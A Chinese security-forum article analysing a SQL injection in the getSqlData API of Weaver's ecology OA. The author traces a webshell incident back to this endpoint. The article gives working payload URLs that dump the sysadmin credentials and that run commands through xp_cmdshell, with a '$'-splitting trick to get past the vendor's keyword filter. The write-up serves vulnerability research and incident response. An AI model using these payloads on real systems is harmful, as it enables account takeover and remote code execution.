问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
老树开新花,某OA getSqlData接口SQLi再利用
漏洞分析
老树开新花,某OA getSqlData接口SQLi利用方式再升级,可直接执行命令。
0x01 序言 ======= 事情起源于在服务器上看到了命名随机的jsp文件,打开内容一看是webshell。  根据webshell修改时间,将当天的`D:/WEAVER/Resin/logs/access.log`和`D:/WEAVER/Resin/log/stderr.log`取出来进行分析,以查找其利用路径。 在stderr.log中发现,攻击者利用SQL注入执行xp\_cmdshell命令来上传的文件  存在SQL注入的mapper已经确定是`GetSqlDataMapper.xml`.于是便开启了对该漏洞的分析研究 0x02 getSqlData接口SQL注入分析 ======================== 2.1 漏洞分析 -------- 首先来到`GetSqlDataMapper.xml`,看一下其SQL拼接情况,如下:  直接将传入的sql参数的值,作为SQL语句进行执行。向上寻找该mapper的调用过程。  继续寻找GetSqlDataMapper接口的调用者 在`classbean/com/engine/portal/cmd/elementecodeaddon/GetSqlDataCmd.class`中,逻辑如下:  所以,可以认定此处存在SQL注入。然后我们寻找Web访问接口的位置,因为都是class搜索调用十分不方便,所以使用Windows命令搜索: ```bash findstr /c:"GetSqlDataCmd" /d:"D://WEAVER//ecology//classbean//" /si *.class ``` 然后其调用关系:  所以,找到web入口 ```bash /Api/portal/elementEcodeAddon/getSqlData?sql= ``` 这个接口的SQL注入在互联网早已不稀奇,翻看了大多数利用方法都是SQL注入查信息,并没有使用xp\_cmdshell获取权限的案例。 2.2 漏洞利用 -------- ### 2.2.1 查询管理员信息 这是往上比较常见的利用方法,可以通过执行SQL语句查询ecology的管理员账号密码,从而登录后台。 payload如下: `/Api/portal/elementEcodeAddon/getSqlData?sql=Select%20*%20from%20HrmResourceManager%20where%20loginid=%27sysadmin%27`  然后利用账号密码登录后台  ### 2.2.2 执行命令 ecology的数据库大多数是使用mssql的,而mssql在SQL注入中,常用于执行命令的是`xp_cmdshell`,加上该接口直接传入SQL语句,那么我们可以直接通过`exec xp_cmdshell`来执行命令。测试如下:  在ecology的《Ecology系统安全配置说明.docx》有做相关说明,如下:  所以带有`xp_cmdshell`是肯定会被拦截的,但是想到刚才分析漏洞时,传入的sql会以`$`进行分割。  那么,如果我传入`exec xp_cmd$shell 'whoami';`,则最终的语句会是:  所以,可以用该方法进行绕过。测试如下:  最终payload: ```bash /Api/portal/elementEcodeAddon/getSqlData?sql=exec%20xp_cmd$shell%20%27whoami%27; ``` 当然要先激活`xp_cmdshell`,激活方法:  2.3 武器化 ------- 
发表于 2022-09-06 09:58:55
阅读 ( 9046 )
分类:
漏洞分析
4 推荐
收藏
2 条评论
jiawen
2022-09-06 23:42
师傅好,这个是ecology几的版本呢
Alivin
回复
jiawen
ecology 9 具体小版本忘了。
请先
登录
后评论
请先
登录
后评论
Alivin
13 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!